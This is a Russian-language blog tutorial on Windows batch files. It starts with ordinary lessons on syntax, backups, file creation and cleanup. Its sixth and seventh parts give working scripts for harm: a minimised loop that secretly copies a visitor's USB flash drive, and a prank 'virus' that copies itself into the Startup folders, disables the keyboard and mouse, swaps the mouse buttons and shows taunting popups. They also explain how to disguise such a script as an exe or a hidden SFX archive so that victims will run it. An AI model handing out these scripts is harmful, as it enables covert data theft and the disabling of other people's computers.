    • Выше уже упоминалось, что пакетный файлы — это обычные текстовые документы. Так и есть, но для того, чтобы они работали и выполняли свои функции, им нужно придать подобающий вид, т.е. поменять расширение. Вообще в Windows используется как расширение *.bat, так и *.cmd, по сути они отличаются весьма незначительно лишь некоторыми нюансами, поэтому, в целях избежания путаницы, будем говорить о bat-файлах. Т.е. чтобы создать исполняемый пакетный файл, мы открываем стандартный блокнот (либо другой, привычный вам текстовый редактор), вбиваем туда нужные нам команды и сохраняем файл с любым именем и расширением bat;
    • По сути, перечень команд, описанных в пакетном файле (батнике) может быть воспроизведён вручную в командной строке (пуск — все программы — стандартные — командная строка), упаковываем их (команды) мы исключительно для удобства, простоты и моментальности (если позволите) воспроизведения;
    • Если испытываете что-то серьёзное и не уверенны в своих действиях, лучше испытывайте детище к примеру на виртуальной машине (в крайнем случае — на компьютере соседа);
    • Список возможных к использованию команд очень велик, посмотреть его можно, набрав в командной строке help, здесь же будут расшифровываться команды по мере их появления в создаваемых батниках;
    • Все инструкции, приведённые в статье, тестировались на ОС Windows XP и Windows 7.

    Часть вторая. Синтаксис при написании bat-файлов

    • Каждая команда вводится с новой строчки;
    • Все команды выполняются последовательно за исключением тех случаев, когда внутри самого батника присутствует переход к определённой его части;
    • Комментарии в пакетный файл могут быть добавлены двумя способами:
      — либо после двух двоеточий ::переход к части копирования — либо при помощи команды goto, т.е. вводится команда goto, потом место для перехода, а между ними сам комментарий

      goto begin
      ----------------------------------------
      Это батник служит для резервного копирования дипломной работы
      ----------------------------------------
      begin
    • Если команду необходимо ввести с атрибутом, то сначала вводим команду, затем пробел, слэш и, собственно, сам ключ copy /Y Чтобы посмотреть список возможных атрибутов к конкретной команде, нужно в командной строке ввести команду, затем пробел, слэш и знак вопроса dir /?
    • Для скрытия окна терминала выполняемой команды можно в начале строки поставить знак собачки @, если же требуется скрыть отображение выполнения всех команд, то проще (чтобы не ставить собачку в каждой строчке) в начале батника указать @echo off здесь команда echo off скрывает окна, а собачка впереди неё запрещает отображение выполнения самой echo off
    • Все директории внутри команд, для исключения возможных ошибок, будем вводить в кавычках;
    • По умолчанию при работе с кириллическим текстом на выходе вы можете получить иероглифы, при работе с папками/файлами, имеющими русские имена, вообще может ничего не получиться, это происходит из-за используемых кодировок, поэтому для исключения подобных неприятностей в начале пакетного файла будем указывать кодировку, корректно работающую с кириллицей следующей командой chcp 1251
    • Есть команды (например, удаление файлов, форматирование), которые могут потребовать подтверждения действий. Порой это бывает очень нежелательно, в таком случае, можно вписать ответ заранее в сам пакетный файл. Ответ записывается ДО! команды и отделяется от неё вертикальной чертой |Y|del
    • В командной строке (а значит и в пакетных файлах) при указании директории иногда бывает удобнее пользоваться переменными, нежели прописывать весь путь cd %APPDATA%

    Приступим….

    Часть третья. Резервное копирование при помощи батников

    Резервное копирование данных — полезное и оттого весьма распространенное явление. Существует большое количество программ, отличающихся друг от друга функционалом, условиями распространения, уровнем (глубиной вопроса) и т.д. Бесспорно, пользоваться хорошей и красивой программой удобно и приятно, но если ваши задачи не слишком сложны, то элементарное создание бэкапов можно организовать и без использования стороннего софта, исключительно средствами ОСи.

    Автоматическое копирование каталогов в папку backup

    Для копирования каких-либо данных используется команда copy (копирование файла/файлов) или xcopy (копирование каталогов). Т.е., допустим, нам необходимо делать бэкап содержимого папки, в которой находятся ваши данные к дипломной работе (материалы, приложения, черновик самой работы и т.д.).
    В этом случае текст будет следующим

    @echo off
    chcp 1251
    xcopy "D:diplom*.*" "E:backupdiplom*.*"

    Где D:diplom — папка расположения всех материалов к диплому, а E:backupdiplom — конечная директория резервной копии.
    Создаём батник, кидаем его в автозагрузку (пуск — все программы — автозагрузка), и при каждом включении компьютера будет создаваться резервная копия (рк).Чуть усложним. Сделаем, чтобы при включении ПК старые данные сохранялись в папочке diplom_old, а новые в папочке diplom. Тогда батник будет иметь вид

    @echo off
    chcp 1251
    del "E:backupdiplom_old" /s /q
    rmdir "E:backupdiplom_old" /s /q
    rename "E:backupdiplom" "diplom_old"
    xcopy "D:diplom*.*" "E:backupdiplom*.*"

    del удаляет ранее созданную вторую рк.
    rmdir переименовывает первую рк во вторую.
    xcopy создаёт новую рк.
    Атрибут /s применяет команду ко всем подкаталогам, атрибут /q отключает запрос на подтверждение действий.Если в двух копиях смысла нет, можно сделать так, чтобы заменялись только те файлы, которые были изменены, те же, которые не изменились, либо вообще были удалены из исходной папки, затронуты не будут. Для этого пишем следующее

    @echo off
    chcp 1251
    xcopy "D:diplom*.*" "E:backupdiplom*.*" /E /F /H /R /K /Y /D

    Создание бэкапа в архиве

    Ну и последнее, что здесь стОит рассмотреть, наверное, на данном этапе — это бэкапы в архиве
    Рассмотрим изменённую предыдущую ситуацию. Допустим, нам надо, чтобы при каждом включении ПК создавалась копия папки, запакованная в архив.
    Нам необходимо в автозагрузку положить батник со следующим содержимым

    @echo off
    chcp 1251
    c:PROGRA~1WinRARWinRAR.exe a -o+ -agDD-MMM-YY–HH-MM-SS "E:backup" "D:diplom"

    Архив папки D:diplom будет создаваться в E:backup, именем будет дата и время создания архива, т.е., например 16-Aug-12–14-06-53

    Часть четвертая. Автоматизация процесса создания и удаления файлов/каталогов с использованием bat-файлов

    Как создать папку из батника

    Начнём с самого простого. Создание папки. Папка создаётся командой MD
    Чтобы создать папку с именем backup в корне диска D:, нам необходимо собрать следующего вида пакетный файл

    @echo off
    chcp 1251
    MD "D:backup"

    Если же, допустим, нужна каждый день новая папочка с датой на месте имени, то батник будет иметь вид

    @echo off
    chcp 1251
    set datetemp=%date:~-10%
    MD "C:%datetemp%"

    Здесь строчкой set datetemp=%date:~-10% мы создаём переменную datatemp на время работы батника и присваиваем ей 10 символов значения системной даты;

    Как создать текстовый файл из батника

    С созданием пустых текстовых файлов дело чуть сложнее. Такой команды просто нет, нужно что-то в этот файл писать. Чтобы выйти из ситуации воспользуемся значением nul (это даже не нулевое значение, а его отсутствие)

    @echo off
    chcp 1251
    copy nul "имя_файла".txt

    Также, как и в примере с папкой, можно сделать именем текущую дату

    @echo off
    chcp 1251
    set datetemp=%date:~-10%
    copy nul "%datetemp%".txt

    Автоматическая очистка папки из батника

    Теперь, что касается удаления. Тоже достаточно часто используемая область работы для батников. Так, например, без помощи спец.программ можно при каждом запуске (опять же, поместив пакетный файл в автозагрузку) очищать temp на вашей машине. Содержимое будет следующим

    @echo off
    chcp 1251
    cd C:WindowsTemp
    echo Y|del *.*

    Строчкой cd «C:WindowsTemp» мы переходим в папку temp
    Строкой echo Y|del *.* удаляем содержимое этой папки (не саму папку!)

    Часть пятая. Прочие возможности bat-файлов

    Возможностей, на самом деле, огромное множество. Здесь для примера рассмотрим некоторые из них.

    Одна из самых известных возможностей использования батников — это запись содержимого каталога в файл

    @echo off
    chcp 1251
    dir >file.txt

    После выполнения этого файла, в папке, откуда он запускался, будет создан файлик file.txt, содержащий перечень всех файлов и папок в этом каталоге с указанием размера и даты последнего изменения. Можно преобразовать этот файл до вида

    @echo off
    chcp 1251
    dir /S "c:" >"X:file.txt"

    /S заставит батник показать содержимое не только каталога, но и всех подкаталогов.
    c: поможет отобразить содержимое не того каталога, откуда запускается бат-файл, а нужного нам.
    X:file.txt сохранит конечный файл со списком содержимого в указанное нами место;

    Запуск файлов из командной строки 

    Очень часто полезным оказывается возможность запуска объектов из командной строки (в данном случае уже из бат-файлов). Причем как программ, так и других видов файлов (графических изображений, медиафайлов, текстовых документов и т.п.)
    К примеру, если в автозагрузку добавить текстовый документ, то при включении ПК после загрузки системы вы его сразу увидите. Либо откроется плеер и будет проигрывать соответствующий трек. (Подробнее про способы добавления файлов в автозагрузку вы можете прочитать в статье: Автозагрузка. Добавление приложений в автозагрузку Windows)
    Для того, чтобы это реализовать, нужно просто в теле бат-файла прописать точный путь до необходимого объекта. Например

    @echo off
    chcp 1251
    "c:Документынапоминание.doc"

    Для системных же программ нужно указать лишь её обозначение.

    @echo off
    chcp 1251
    calc

    При выполнении этого батника откроется калькулятор. В данном случае строчку chcp 1251 можно опустить (как и в некоторых ситуациях из примеров выше), однако если уж стандартизировать все наши пакетный файлы, то её можно и оставить, вреда не будет.

    Часть шестая. Хитрости или шутки в сторону

    Здесь рассмотрим ещё несколько интересных возможностей для применения батников. Из названия ясно, что некоторые из действий могут навредить системе (хотя это можно сделать и «голыми руками»), но если делать всё с умом, то может выйти достаточно интересно.

    Шпионские штучки. Похищаем содержимое флешки

    В самом начале статьи было указанно, что команды в батниках выполняются последовательно, если это не оговорено в самом теле исполнительного файла. Рассмотрим именно этот частный случай. Нуууу, допустим. Вы знаете, что к вам придёт знакомый (а может, знакомая) с просьбой произвести какие-то манипуляции с его/её флэш-карточкой, и вам очень хотелось бы слить все данные с этого накопителя на ваш ПК. Но делать это при госте не совсем удобно, да и просто можно получить «красную карточку». Что мы в таком случае делаем? Создаём батник следующего содержания

    @echo off
    :test
    if exist g: goto go
    goto test
    :go
    xcopy "G:*.*" "C:упс*.*"

    Создаём на этот бат-файл ярлычок, в свойствах ярлыка указываем, чтобы файл запускался в свёрнутом состоянии. Дважды кликаем по ярлыку. Что имеем.
    :test обозначает начало действия батника
    if exist g: goto go проверяет наличие в компьютере диска G:, если он есть, то переходим к части :go (суть в том, что обычно вставленная флешка получает для обозначения первую свободную в системе букву латинского алфавита, проследить это на своём компе не так уж сложно. Вот именно эту буковку мы и указываем вместо G:)
    goto test если диск G: не был найден, возвращаемся к началу части :test
    :go обозначает начало действия второй части батника
    xcopy «G:*.*» «C:упс*.*» копирует всё содержимое диска G: в папку упс на диске C:
    Т.е. после того, как мы запустили файл с ярлыка, он запускается в свёрнутом состоянии и циклически проверяет наличие флешки в ПК. Как только флешка там засветится, начнётся копирование всех данных с неё в указанную папку, причем привычного окна копирования файлов не выскочит, всё будет отображаться в свёрнутом окне терминала.Ну, всё что было описанно выше, полезно на своём компе, однако есть несколько плюшек, с помощью которых можно подшутить над другом/подругой….

    Маленький вирус в автозагрузку

    В общем виде всё будет выглядеть так: отправляем человечку файлик любым удобным способом, он запускает его на своём ПК, мы немного смеёмся, а потом говорим человечку, в чём соль и как всё исправить.Обычно, если что-то идёт не так, рядовой юзер первым делом перезагружает комп. Чтобы наш батник продолжал действовать и после рестарта, необходимо добавить его в автозагрузку (подчеркиваю, такие шутки проходят только с не самыми прошаренными пользователями ПК, более опытные, скорее всего, запросто найдут причину метаморфоз системы и легко избавятся от неё). Для этого в батничке пропише следующее

    copy %0 c:"documents and settings""all users""главное меню"программыавтозагрузка
    copy %0 %USERPROFILE%AppDataRoamingMicrosoftWindows"Start Menu"ProgramsStartup

    Первая строка добавляет файл в автозагрузку для всех пользователей на Windows XP (для конкретного пользователя в качестве пути указываем %USERPROFILE%»Главное меню»ПрограммыАвтозагрузка)
    Вторая строка добавляет файл в автозагрузку для Windows 7.

    Начало обеих строк в виде copy %0 означает копирование «самого себя».
    Это сделали. Ещё нам хотелось бы, чтобы после запуска батника и при каждой загрузке ПК появлялась весёленькая надпись, к примеру, «ТЫ ЛАМЕР!»
    Для этого добавляем следующее

    Echo var WSHShell = WScript.CreateObject("WScript.Shell"); > %temp%mes.jse
    echo WSHShell.Popup ("ТЫ ЛАМЕР!"); >> %temp%mes.js
    start %temp%mes.js
    deltree /y %temp%mes.js

    Эта часть основанна на скриптах. Подробно расписывать не буду, кому интересно, найдёт материал в сети. Скажу лишь, что для некоторых ОС вид этого блока может слегка отличаться. Так, например, в семёрке (Win7) скрипт может выглядеть следующим образом

    Echo var WSHShell = WScript.CreateObject("WScript.Shell"); > %temp%mes.jse
    echo WSHShell.Popup ("ПИШИ СЮДА ЧТО УГОДНО"); >> %temp%mes.jse
    start %temp%mes.jse
    deltree /y %temp%mes.jse

    Однако, и первый вариант будет работать.

    Также окошко с текстом можно добавить в обход скриптов, оно будет, так сказать, стилизованное, виндовое от текущего пользователя с указанием текущей даты и времени

    msg * "ТЫ ЛАМЕР!" >nul

    Едем дальше, ближе к вкусностям.
    Чтобы наш объект экспериментов растерялся ещё больше, в тело батника по желанию добавляем что-нибудь из следующего:

    %SystemRoot%/system32/rundll32 user32, SwapMouseButton >nul — строка меняет кнопки мыши местами. Весьма забавная штуковина, однако если человечек не отличается уровновешенной психикой, от этого советую отказаться. Чтобы поменять кнопки мыши обратно, заходи в панели управления в пункт мышь и там инвертируем галочку в поле обменять назначение кнопок….

    Команда rundll32 keyboard, disable отключит клавиатуру вплоть до следующей перезагрузки, а rundll32 mouse, disable то же самое проделает с мышью. Если батник в автозагрузке, то при рестарте это дело, разумеется, повторится.

    rundll32 shell32, SHExitWindowsEx 1 — выключит ПК.

    rundll32 shell32, SHExitWindowsEx 2 — перезагрузит ПК.

    rundll32 url.dll, FileProtocolHandler https://ya.ru/ — откроет в Internet Explorer поисковую страничку яндекса (сайт вместо ya.ru, само собой, можно вписать любой). Если проявить фантазию, можно придать батнику особую пикантность.

    Ну и del «%SystemRoot%Cursors*.*» >nul удалит курсоры мыши (пользоваться с осторожностью и в самых крайних случаях!)

    Теперь остаётся только скомпоновать желаемые строки в единый код

    @echo off
    chcp 1251
    rundll32 keyboard, disable
    %SystemRoot%/system32/rundll32 user32, SwapMouseButton >nul
    copy %0 c:"documents and settings""all users""главное меню"программыавтозагрузка
    copy %0 %USERPROFILE%AppDataRoamingMicrosoftWindows"Start Menu"ProgramsStartup
    rundll32 url.dll, FileProtocolHandler http://www.thecleverest.com/countdown.swf
    Echo var WSHShell = WScript.CreateObject("WScript.Shell"); > 
    %temp%mes.js 
    echo WSHShell.Popup ("ТЫ ЛАМЕР!"); >> %temp%mes.js 
    start %temp%mes.js 
    deltree /y %temp%mes.js

    Часть седьмая. Упаковка исполнительного файла

    Здесь хочу отметить, что мало кто станет запускать ваш батник хотя бы потому, что он имеет немного подозрительный вид. Исправить это можно двумя способами:

    Программный способ упаковки батников

      • конвертировать bat-файл в *.exe при помощи какой-нибудь утилитки (например, bat to exe)
      • создать sfx-архив.

    Упаковка батников в SFX-архив

    Второй вариант в рамках данной статьи чуток подробнее и рассмотрим.
    — Для начала нам надо установить на ПК подходящий архиватор (для этих целей я рекомендую WinRAR, т.к. создание sfx-архивов в нём реализовано наиболее удобно и просто).
    — Создаём нужный нам пакетный файл (батник).
    — Кликаем правой кнопочкой по батнику, выбираем из контекстного меню WinRAR => Добавить в архив (дальше по вкладкам)
    Общие. Имя любое. Формат — RAR. Метод сжатия обычный. В параметрах архивации ставим галочку напротив Создать SFX-архив.
    Дополнительно. Жмём на кнопочку Параметры SFX… Вкладочка «Общие», выполнить после распаковки — вписываем имя архивируемого батника с расширением. Во вкладке «Режимы» в разделе «Режим вывода информации» ставим галочку напротив «Скрыть всё». На вкладочке «Текст и графика» можно, например, добавить симпатичную иконку вашему архиву вместо стандартной. Если вы не художник, то иконку можно вытащить из любой программы/игры при помощи стороннего софта, например Restorator.
    — На этом всё. Остальные опции на ваше усмотрение. Жмём кнопочку ОК. В исходной папке с батником появится ещё и наш новый sfx-архив.
    — Чтобы добавить солидность файлу, позволить ему прибавить в весе, можно в архив «напихать» ещё что-нибудь, это может быть что угодно, т.к. цель — только увеличение размера.
    — В архиве может быть сколько угодно батников, при создании архива мы указываем, что выполнять нужно первый (прописываем его имя с расширением), чтобы после этого выполнился следующий, в конце (либо в нужном нам месте) пишем

    call sled.bat

    Т.е. когда дело дойдёт до этой команды, система переключится на исполнение файла с названием sled.bat, а затем вернётся к исходному.
    Если же надо, чтобы работа первого батника не прерывалась, то используем другую команду

    start sled.bat

    Вместо заключения

    Стоит отметить, что кроме вышеперечисленных функций при помощи батников можно также редактировать и системный реестр, об этом наша отдельная публикация: Редактирование реестра Windows из командной строки, bat-файлы. Остаётся только напомнить, что вообще команд огромное количество, а вариантов их сочетаний и вовсе — бесконечное множество. Любую команду можно сначала проверить в командной строке, а только потом добавлять в тело пакетного файла….

    Будьте осторожны и удачных вам экспериментов

    Понравилась статья? Поделить с друзьями:
  • Как написать bat скрипты
  • Как написать bat скрипт
  • Как написать bassline
  • Как написать bash скрипт windows
  • Как написать bash скрипт linux